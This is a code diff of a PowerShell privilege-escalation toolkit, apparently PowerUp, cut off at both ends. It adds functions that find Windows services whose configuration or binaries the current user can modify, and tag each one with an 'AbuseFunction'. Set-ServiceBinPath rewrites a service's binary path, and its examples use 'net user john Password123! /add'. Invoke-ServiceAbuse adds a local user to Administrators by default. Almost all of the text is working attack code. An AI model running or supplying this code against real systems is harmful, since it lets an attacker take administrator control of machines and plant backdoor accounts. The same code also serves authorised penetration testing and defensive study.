- $r = Invoke-ServiceEnable -ServiceName "$($TargetService.Name)"
- if (-not $r){
- return $False
+ ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
+ $CandidatePaths += $TargetPath.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
+ Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
}
}
- # start the service
- Write-Verbose "Starting service '$($TargetService.Name)'"
- $Null = sc.exe start "$($TargetService.Name)"
+ $CandidatePaths | Sort-Object -Unique | ForEach-Object {
+ $CandidatePath = $_
+ Get-Acl -Path $CandidatePath | Select-Object -ExpandProperty Access | Where-Object {($_.AccessControlType -match 'Allow')} | ForEach-Object {
- Start-Sleep -s .5
- return $True
- }
- catch{
- Write-Warning "Error: $_"
- return $False
+ $FileSystemRights = $_.FileSystemRights.value__
+
+ $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
+
+ # the set of permission types that allow for modification
+ $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile') -IncludeEqual -ExcludeDifferent
+
+ if($Comparison) {
+ if ($_.IdentityReference -notmatch '^S-1-5.*') {
+ if(-not ($TranslatedIdentityReferences[$_.IdentityReference])) {
+ # translate the IdentityReference if it's a username and not a SID
+ $IdentityUser = New-Object System.Security.Principal.NTAccount($_.IdentityReference)
+ $TranslatedIdentityReferences[$_.IdentityReference] = $IdentityUser.Translate([System.Security.Principal.SecurityIdentifier]) | Select-Object -ExpandProperty Value
+ }
+ $IdentitySID = $TranslatedIdentityReferences[$_.IdentityReference]
+ }
+ else {
+ $IdentitySID = $_.IdentityReference
+ }
+
+ if($CurrentUserSids -contains $IdentitySID) {
+ New-Object -TypeName PSObject -Property @{
+ Path = $CandidatePath
+ IdentityReference = $_.IdentityReference
+ Permissions = $Permissions
+ }
+ }
+ }
+ }
+ }
}
}
}
-function Invoke-ServiceStop {
+function Add-ServiceDacl {
<#
.SYNOPSIS
+
+ Adds a Dacl field to a service object returned by Get-Service.
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
- Stops a specified service.
+ .DESCRIPTION
- .PARAMETER ServiceName
+ Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
+ Dacl field to each object. It does this by opening a handle with ReadControl for the
+ service with using the GetServiceHandle Win32 API call and then uses
+ QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
- The service name to stop. Required.
+ .PARAMETER Service
+ An array of one or more ServiceProcess.ServiceController objects from Get-Service.
+
.EXAMPLE
- PS C:\> Invoke-ServiceStop -ServiceName VulnSVC
+ PS C:\> Get-Service | Add-ServiceDacl
- Stop the 'VulnSVC' service.
-#>
+ Add Dacls for every service the current user can read.
- [CmdletBinding()]
- Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
- [String]
- $ServiceName
+ .EXAMPLE
+
+ PS C:\> Get-Service -Name VMTools | Add-ServiceDacl
+
+ Add the Dacl to the VMTools service object.
+
+ .OUTPUTS
+
+ ServiceProcess.ServiceController
+
+ .LINK
+
+ https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
+#>
+ [OutputType([ServiceProcess.ServiceController])]
+ param (
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+ [ServiceProcess.ServiceController[]]
+ [ValidateNotNullOrEmpty()]
+ $Service
)
- process {
- # query WMI for the service
- $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
+ BEGIN {
+ $Module = New-InMemoryModule -ModuleName PowerUpModule
+
+ # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
+ $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{
+ QueryConfig = 0x00000001
+ ChangeConfig = 0x00000002
+ QueryStatus = 0x00000004
+ EnumerateDependents = 0x00000008
+ Start = 0x00000010
+ Stop = 0x00000020
+ PauseContinue = 0x00000040
+ Interrogate = 0x00000080
+ UserDefinedControl = 0x00000100
+ Delete = 0x00010000
+ ReadControl = 0x00020000
+ WriteDac = 0x00040000
+ WriteOwner = 0x00080000
+ Synchronize = 0x00100000
+ AccessSystemSecurity = 0x01000000
+ GenericAll = 0x10000000
+ GenericExecute = 0x20000000
+ GenericWrite = 0x40000000
+ GenericRead = 0x80000000
+ AllAccess = 0x000F01FF
+ } -Bitfield
+
+ $FunctionDefinitions = @(
+ (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError)
+ (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError)
+ )
- # make sure we got a result back
- if (-not ($TargetService)){
- Write-Warning "[!] Target service '$ServiceName' not found on the machine"
- return $False
- }
+ $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods'
+ $Advapi32 = $Types['advapi32']
- try {
- # stop the service
- Write-Verbose "Stopping service '$($TargetService.Name)'"
- $Result = sc.exe stop "$($TargetService.Name)"
+ filter Local:Get-ServiceReadControlHandle {
+ [OutputType([IntPtr])]
+ param (
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+ [ServiceProcess.ServiceController]
+ [ValidateNotNullOrEmpty()]
+ $Service
+ )
+
+ $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
+
+ $ReadControl = 0x00020000
+
+ $RawHandle = $GetServiceHandle.Invoke($Service, @($ReadControl))
- if ($Result -like "*Access is denied*"){
- Write-Warning "[!] Access to service $($TargetService.Name) denied"
- return $False
+ $RawHandle
+ }
+ }
+
+ PROCESS {
+ foreach ($IndividualService in $Service) {
+ try {
+ $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService
}
- elseif ($Result -like "*1051*") {
- # if we can't stop the service because other things depend on it
- Write-Warning "[!] Stopping service $($TargetService.Name) failed: $Result"
- return $False
+ catch {
+ $ServiceHandle = $Null
+ Write-Warning "Error opening up the service handle with read control for: $($IndividualService.Name)"
}
- Start-Sleep 1
- return $True
- }
- catch{
- Write-Warning "Error: $_"
- return $False
+ if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
+ $SizeNeeded = 0
+
+ $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, @(), 0, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ # 122 == The data area passed to a system call is too small
+ if ((-not $Result) -and ($LastError -eq 122) -and ($SizeNeeded -gt 0)) {
+ $BinarySecurityDescriptor = New-Object Byte[]($SizeNeeded)
+
+ $Result = $Advapi32::QueryServiceObjectSecurity($ServiceHandle, [Security.AccessControl.SecurityInfos]::DiscretionaryAcl, $BinarySecurityDescriptor, $BinarySecurityDescriptor.Count, [Ref] $SizeNeeded);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if (-not $Result) {
+ Write-Error ([ComponentModel.Win32Exception] $LastError)
+ }
+ else {
+ $RawSecurityDescriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $BinarySecurityDescriptor, 0
+ $Dacl = $RawSecurityDescriptor.DiscretionaryAcl | ForEach-Object {
+ Add-Member -InputObject $_ -MemberType NoteProperty -Name AccessRights -Value ($_.AccessMask -as $ServiceAccessRights) -PassThru
+ }
+
+ Add-Member -InputObject $IndividualService -MemberType NoteProperty -Name Dacl -Value $Dacl -PassThru
+ }
+ }
+ else {
+ Write-Error ([ComponentModel.Win32Exception] $LastError)
+ }
+
+ $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
+ }
}
}
}
-function Invoke-ServiceEnable {
+function Set-ServiceBinPath {
<#
.SYNOPSIS
+
+ Sets the binary path for a service to a specified value.
+ Author: @harmj0y, Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
+
+ Takes a ServiceProcess.ServiceController or a ServiceName and first opens up a
+ service handle to the service with ConfigControl access using the GetServiceHandle
+ Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath)
+ to the string value specified by binPath, and the handle is closed off.
- Enables a specified service.
+ Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
+ Dacl field to each object. It does this by opening a handle with ReadControl for the
+ service with using the GetServiceHandle Win32 API call and then uses
+ QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
+
+ .PARAMETER Service
+
+ A ServiceProcess.ServiceController object from Get-Service.
.PARAMETER ServiceName
+
+ The name of the service to modify the binPath for.
- The service name to enable. Required.
+ .PARAMETER binPath
+ The new binary path (lpBinaryPathName) to set for the specified service. Required.
+
+ .OUTPUTS
+
+ $True if configuration succeeds, $False otherwise.
+
+ .EXAMPLE
+
+ PS C:\> Set-ServiceBinPath -ServiceName VulnSvc -BinPath 'net user john Password123! /add'
+
+ Sets the binary path for 'VulnSvc' to be a command to add a user.
+
.EXAMPLE
- PS C:\> Invoke-ServiceEnable -ServiceName VulnSVC
+ PS C:\> Get-Service VulnSvc | Set-ServiceBinPath -BinPath 'net user john Password123! /add'
- Enables the 'VulnSVC' service.
+ Sets the binary path for 'VulnSvc' to be a command to add a user.
+
+ .LINK
+
+ https://msdn.microsoft.com/en-us/library/windows/desktop/ms681987(v=vs.85).aspx
#>
+ [CmdletBinding(DefaultParameterSetName='ServiceName')]
+ param (
+ [Parameter(ParameterSetName='Service', Mandatory = $True, ValueFromPipeline = $True)]
+ [ServiceProcess.ServiceController]
+ [ValidateNotNullOrEmpty()]
+ $Service,
+
+ [Parameter(ParameterSetName='ServiceName', Mandatory = $True)]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $ServiceName,
- [CmdletBinding()]
- Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ [Parameter(ParameterSetName='Service', Mandatory = $True)]
+ [Parameter(ParameterSetName='ServiceName', Mandatory = $True)]
[String]
- $ServiceName
+ [ValidateNotNullOrEmpty()]
+ $binPath
)
- process {
- # query WMI for the service
- $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
+ BEGIN {
+ $Module = New-InMemoryModule -ModuleName PowerUpModule
- # make sure we got a result back
- if (-not ($TargetService)){
- Write-Warning "[!] Target service '$ServiceName' not found on the machine"
- return $False
+ $FunctionDefinitions = @(
+ (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode)
+ (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError)
+ )
+
+ $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods'
+ $Advapi32 = $Types['advapi32']
+
+ filter Local:Get-ServiceConfigControlHandle {
+ [OutputType([IntPtr])]
+ param (
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+ [ServiceProcess.ServiceController]
+ [ValidateNotNullOrEmpty()]
+ $TargetService
+ )
+
+ $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic')
+
+ $ConfigControl = 0x00000002
+
+ $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl))
+
+ $RawHandle
}
-
- try {
- # enable the service
- Write-Verbose "Enabling service '$($TargetService.Name)'"
- $Null = sc.exe config "$($TargetService.Name)" start= demand
- return $True
+ }
+
+ PROCESS {
+ if($PSBoundParameters['Service']) {
+ try {
+ $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service
+ }
+ catch {
+ $ServiceHandle = $Null
+ Write-Warning "Error opening up the service handle with read control for $($Service.Name) : $_"
+ }
}
- catch{
- Write-Warning "Error: $_"
- return $False
+ else {
+ try {
+ $Service = Get-Service -Name $ServiceName
+ $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service
+ }
+ catch {
+ $ServiceHandle = $Null
+ Write-Warning "Error opening up the service handle with read control for $ServiceName : $_"
+ }
+ }
+
+ if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) {
+
+ $SERVICE_NO_CHANGE = [UInt32]::MaxValue
+
+ $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if ($Result -ne 0) {
+ if($PSBoundParameters['Service']) {
+ Write-Verbose "binPath for $($Service.Name) successfully set to '$binPath'"
+ }
+ else {
+ Write-Verbose "binPath for $ServiceName successfully set to '$binPath'"
+ }
+ $True
+ }
+ else {
+ Write-Error ([ComponentModel.Win32Exception] $LastError)
+ $Null
+ }
+
+ $Null = $Advapi32::CloseServiceHandle($ServiceHandle)
}
}
}
-function Invoke-ServiceDisable {
+filter Test-ServiceDaclPermission {
<#
.SYNOPSIS
+
+ Tests one or more passed services or service names against a given permission set,
+ returning the service objects where the current user have the specified permissions.
+ Author: @harmj0y, Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+
+ .DESCRIPTION
- Disables a specified service.
+ Takes a ServiceProcess.ServiceController or a ServiceName and first adds a service
+ Dacl to the service object with Add-ServiceDacl. All group SIDs for the current user are
+ enumerated services where the user has some type of permission are filtered. The services
+ are then filtered against a specified set of permissions, and services where the current
+ user have the specified permissions are returned.
+
+ .PARAMETER Service
+
+ A ServiceProcess.ServiceController object to test against the specified permission set.
.PARAMETER ServiceName
+
+ The name of the service to test against the specified permission set.
+
+ .PARAMETER Permissions
- The service name to disable. Required.
+ A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus',
+ 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl',
+ 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity',
+ 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess'
+ .PARAMETER PermissionSet
+
+ A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'.
+
+ .OUTPUTS
+
+ ServiceProcess.ServiceController
+
.EXAMPLE
- PS C:\> Invoke-ServiceDisable -ServiceName VulnSVC
+ PS C:\> Get-Service | Test-ServiceDaclPermission
+
+ Return all service objects where the current user can modify the service configuration.
+
+ .EXAMPLE
+
+ PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
+
+ Return all service objects that the current user can restart.
- Disables the 'VulnSVC' service.
+
+ .EXAMPLE
+
+ PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -ServiceName VulnSVC
+
+ Return the VulnSVC object if the current user has start permissions.
+
+ .LINK
+
+ https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
#>
+ [OutputType([ServiceProcess.ServiceController])]
+ [CmdletBinding(DefaultParameterSetName='ServiceName')]
+ param (
+ [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)]
+ [String]
+ [ValidateNotNullOrEmpty()]
+ $ServiceName,
- [CmdletBinding()]
- Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)]
+ [ServiceProcess.ServiceController]
+ [ValidateNotNullOrEmpty()]
+ $Service,
+
+ [Parameter(ParameterSetName='ServiceName')]
+ [Parameter(ParameterSetName='Service')]
+ [String[]]
+ [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')]
+ $Permissions,
+
+ [Parameter(ParameterSetName='ServiceName')]
+ [Parameter(ParameterSetName='Service')]
[String]
- $ServiceName
+ [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')]
+ $PermissionSet = 'ChangeConfig'
)
-
- process {
- # query WMI for the service
- $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
- # make sure we got a result back
- if (-not ($TargetService)){
- Write-Warning "[!] Target service '$ServiceName' not found on the machine"
- return $False
+ if($PSBoundParameters['Service']) {
+ $TargetService = $Service | Add-ServiceDacl
+ }
+ else {
+ $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop | Add-ServiceDacl
+ }
+
+ $AccessMask = @{
+ 'QueryConfig' = [uint32]'0x00000001'
+ 'ChangeConfig' = [uint32]'0x00000002'
+ 'QueryStatus' = [uint32]'0x00000004'
+ 'EnumerateDependents' = [uint32]'0x00000008'
+ 'Start' = [uint32]'0x00000010'
+ 'Stop' = [uint32]'0x00000020'
+ 'PauseContinue' = [uint32]'0x00000040'
+ 'Interrogate' = [uint32]'0x00000080'
+ 'UserDefinedControl' = [uint32]'0x00000100'
+ 'Delete' = [uint32]'0x00010000'
+ 'ReadControl' = [uint32]'0x00020000'
+ 'WriteDac' = [uint32]'0x00040000'
+ 'WriteOwner' = [uint32]'0x00080000'
+ 'Synchronize' = [uint32]'0x00100000'
+ 'AccessSystemSecurity' = [uint32]'0x01000000'
+ 'GenericAll' = [uint32]'0x10000000'
+ 'GenericExecute' = [uint32]'0x20000000'
+ 'GenericWrite' = [uint32]'0x40000000'
+ 'GenericRead' = [uint32]'0x80000000'
+ 'AllAccess' = [uint32]'0x000F01FF'
+ }
+
+ if($PSBoundParameters['Permissions']) {
+ $TargetPermissions = $Permissions
+ }
+ else {
+ if($PermissionSet -eq 'ChangeConfig') {
+ $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess')
}
-
- try {
- # disable the service
- Write-Verbose "Disabling service '$($TargetService.Name)'"
- $Null = sc.exe config "$($TargetService.Name)" start= disabled
- return $True
+ elseif($PermissionSet -eq 'Restart') {
+ $TargetPermissions = @('Start', 'Stop')
+ $CheckAllPermissionsInSet = $True # so we check all permissions && style
}
- catch{
- Write-Warning "Error: $_"
- return $False
+ elseif($PermissionSet -eq 'AllAccess') {
+ $TargetPermissions = @('GenericAll', 'AllAccess')
}
}
+
+ if($TargetService -and $TargetService.Dacl) {
+
+ # enumerate all group SIDs the current user is a part of
+ $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
+ $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value
+ $CurrentUserSids += $UserIdentity.User.Value
+
+ ForEach($ServiceDacl in $TargetService.Dacl) {
+ if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) {
+
+ if($CheckAllPermissionsInSet) {
+ $AllMatched = $True
+ ForEach($TargetPermission in $TargetPermissions) {
+ # check permissions && style
+ if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) {
+ Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)"
+ $AllMatched = $False
+ break
+ }
+ }
+ if($AllMatched) {
+ $TargetService
+ }
+ }
+ else {
+ ForEach($TargetPermission in $TargetPermissions) {
+ # check permissions || style
+ if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) {
+ Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)"
+ $TargetService
+ break
+ }
+ }
+ }
+ }
+ }
+ }
+ else {
+ Write-Warning "Error enumerating the Dacl for service $ServiceName"
+ }
}
@@ -449,11 +1366,16 @@ function Get-ServiceUnquoted {
if ($VulnServices) {
ForEach ($Service in $VulnServices){
- try {
- $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
- } catch {
- $CanRestart = "Cannot be determined through DACL, try manually."
+
+ $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $Service.name
+
+ if($ServiceRestart) {
+ $CanRestart = $True
}
+ else {
+ $CanRestart = $False
+ }
+
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
$Out | Add-Member Noteproperty 'Path' $Service.pathname
@@ -466,18 +1388,23 @@ function Get-ServiceUnquoted {
}
-function Get-ServiceFilePermission {
+function Get-ModifiableServiceFile {
<#
.SYNOPSIS
- This function finds all services where the current user can
- write to the associated binary or its arguments.
- If the associated binary (or config file) is overwritten,
+ Enumerates all services and returns vulnerable service files.
+
+ .DESCRIPTION
+
+ Enumerates all services by querying the WMI win32_service class. For each service,
+ it takes the pathname (aka binPath) and passes it to Get-ModifiableFile to determine
+ if the current user has rights to modify the service binary itself or any associated
+ arguments. If the associated binary (or any configuration files) can be overwritten,
privileges may be able to be escalated.
.EXAMPLE
- PS C:\> Get-ServiceFilePermission
+ PS C:\> Get-ModifiableServiceFile
Get a set of potentially exploitable service binares/config files.
#>
@@ -489,15 +1416,22 @@ function Get-ServiceFilePermission {
$ServiceStartName = $_.startname
$ServicePath | Get-ModifiableFile | ForEach-Object {
- try {
- $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP'
- } catch {
- $CanRestart = "Cannot be determined through DACL, try manually."
+
+ $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $ServiceName
+
+ if($ServiceRestart) {
+ $CanRestart = $True
}
+ else {
+ $CanRestart = $False
+ }
+
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
$Out | Add-Member Noteproperty 'Path' $ServicePath
- $Out | Add-Member Noteproperty 'ModifiableFile' $_
+ $Out | Add-Member Noteproperty 'ModifiableFile' $_.Path
+ $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
+ $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
$Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'"
$Out | Add-Member Noteproperty 'CanRestart' $CanRestart
@@ -507,57 +1441,44 @@ function Get-ServiceFilePermission {
}
-function Get-ServicePermission {
+function Get-ModifiableService {
<#
.SYNOPSIS
- This function enumerates all available services and tries to
- open the service for modification, returning the service object
- if the process didn't fail.
-
+ Enumerates all services and returns services for which the current user can modify the binPath.
+
+ .DESCRIPTION
+
+ Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
+ the current user has rights to change the service configuration.
+
.EXAMPLE
- PS C:\> Get-ServicePermission
+ PS C:\> Get-ModifiableService
Get a set of potentially exploitable services.
#>
-
- # check if sc.exe exists
- if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))) {
- Write-Warning "[!] Could not find $Env:SystemRoot\System32\sc.exe"
-
- $Out = New-Object PSObject
- $Out | Add-Member Noteproperty 'ServiceName' 'Not Found'
- $Out | Add-Member Noteproperty 'Path' "$Env:SystemRoot\System32\sc.exe"
- $Out | Add-Member Noteproperty 'StartName' $Null
- $Out | Add-Member Noteproperty 'AbuseFunction' $Null
- $Out
- }
- $Services = Get-WmiObject -Class win32_service | Where-Object {$_}
-
- if ($Services) {
- ForEach ($Service in $Services){
+ Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {
- # try to change error control of a service to its existing value
- $Result = sc.exe config $($Service.Name) error= $($Service.ErrorControl)
+ $ServiceDetails = Get-ServiceDetail -Service $_
- # means the change was successful
- if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){
- try {
- $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP'
- } catch {
- $CanRestart = "Cannot be determined through DACL, try manually."
- }
- $Out = New-Object PSObject
- $Out | Add-Member Noteproperty 'ServiceName' $Service.name
- $Out | Add-Member Noteproperty 'Path' $Service.pathname
- $Out | Add-Member Noteproperty 'StartName' $Service.startname
- $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'"
- $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
- $Out
- }
+ $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'
+
+ if($ServiceRestart) {
+ $CanRestart = $True
}
+ else {
+ $CanRestart = $False
+ }
+
+ $Out = New-Object PSObject
+ $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
+ $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
+ $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
+ $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($ServiceDetails.name)'"
+ $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
+ $Out
}
}
@@ -566,30 +1487,60 @@ function Get-ServiceDetail {
<#
.SYNOPSIS
- Returns detailed information about a specified service.
+ Returns detailed information about a specified service by querying the
+ WMI win32_service class for the specified service name.
+
+ .DESCRIPTION
+
+ Takes a ServiceName or a ServiceProcess.ServiceController object returned by
+ Get-Service, extracts out the service name, queries the WMI win32_service class for
+ the specified service for details like binPath, and outputs everything.
+
+ .PARAMETER Service
+
+ A ServiceProcess.ServiceController object from Get-Service.
.PARAMETER ServiceName
- The service name to query for. Required.
+ The service name to query for.
.EXAMPLE
PS C:\> Get-ServiceDetail -ServiceName VulnSVC
Gets detailed information about the 'VulnSVC' service.
-#>
- [CmdletBinding()]
- Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ .EXAMPLE
+
+ PS C:\> Get-Service VulnSVC | Get-ServiceDetail
+
+ Gets detailed information about the 'VulnSVC' service.
+#>
+ [CmdletBinding(DefaultParameterSetName='ServiceName')]
+ param (
+ [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)]
[String]
- $ServiceName
+ [ValidateNotNullOrEmpty()]
+ $ServiceName,
+
+ [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)]
+ [ServiceProcess.ServiceController]
+ [ValidateNotNullOrEmpty()]
+ $Service
)
- process {
- Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} | ForEach-Object {
+ PROCESS {
+
+ if($PSBoundParameters['Service']) {
+ $TargetService = $Service
+ }
+ else {
+ $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop
+ }
+
+ Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object {
try {
- $_ | Format-List *
+ $_
}
catch{
Write-Warning "Error: $_"
@@ -614,10 +1565,14 @@ function Invoke-ServiceAbuse {
the service, stops it, modifies it to add the user to the specified group,
stops it, and then restores the original EXE path. It can also take a
custom -CMD argument to trigger a custom command instead of adding a user.
-
+
.PARAMETER ServiceName
- The service name to manipulate. Required.
+ The name of the target service to abuse.
+
+ .PARAMETER Service
+
+ A ServiceProcess.ServiceController object from Get-Service.
.PARAMETER UserName
@@ -630,12 +1585,20 @@ function Invoke-ServiceAbuse {
.PARAMETER LocalGroup
- Local group name to add the user to (default of Administrators).
+ Local group name to add the user to (default of 'Administrators').
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object specifying the user/password to add.
+
.PARAMETER Command
Custom local command to execute.
+ .PARAMETER Force
+
+ Switch. Force service stopping, even if other services are dependent.
+
.EXAMPLE
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC
@@ -663,128 +1626,157 @@ function Invoke-ServiceAbuse {
Abuses service 'VulnSVC' to execute a custom command.
#>
-
- [CmdletBinding()]
- Param(
- [Parameter(ValueFromPipeline=$True, Mandatory = $True)]
+ [CmdletBinding(DefaultParameterSetName='ServiceName')]
+ param (
+ [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)]
+ [ServiceProcess.ServiceController]
+ [ValidateNotNullOrEmpty()]
+ $Service,
+
+ [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)]
[String]
+ [ValidateNotNullOrEmpty()]
$ServiceName,
+ [Parameter(ParameterSetName='Service')]
+ [Parameter(ParameterSetName='ServiceName')]
[String]
- $UserName = "john",
+ $UserName = 'john',
+ [Parameter(ParameterSetName='Service')]
+ [Parameter(ParameterSetName='ServiceName')]
[String]
- $Password = "Password123!",
+ $Password = 'Password123!',
+ [Parameter(ParameterSetName='Service')]
+ [Parameter(ParameterSetName='ServiceName')]
[String]
- $LocalGroup = "Administrators",
+ $LocalGroup = 'Administrators',
+
+ [Parameter(ParameterSetName='Service')]
+ [Parameter(ParameterSetName='ServiceName')]
+ [Management.Automation.PSCredential]
+ $Credential,
+ [Parameter(ParameterSetName='Service')]
+ [Parameter(ParameterSetName='ServiceName')]
[String]
- $Command
- )
+ [ValidateNotNullOrEmpty()]
+ $Command,
- process {
+ [Parameter(ParameterSetName='Service')]
+ [Parameter(ParameterSetName='ServiceName')]
+ [Switch]
+ $Force
+ )
- # query WMI for the service
- $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_}
- $ServiceAbused = $Null
+ BEGIN {
- # make sure we got a result back
- if ($TargetService) {
+ if($PSBoundParameters['Command']) {
+ $ServiceCommands = @($Command)
+ }
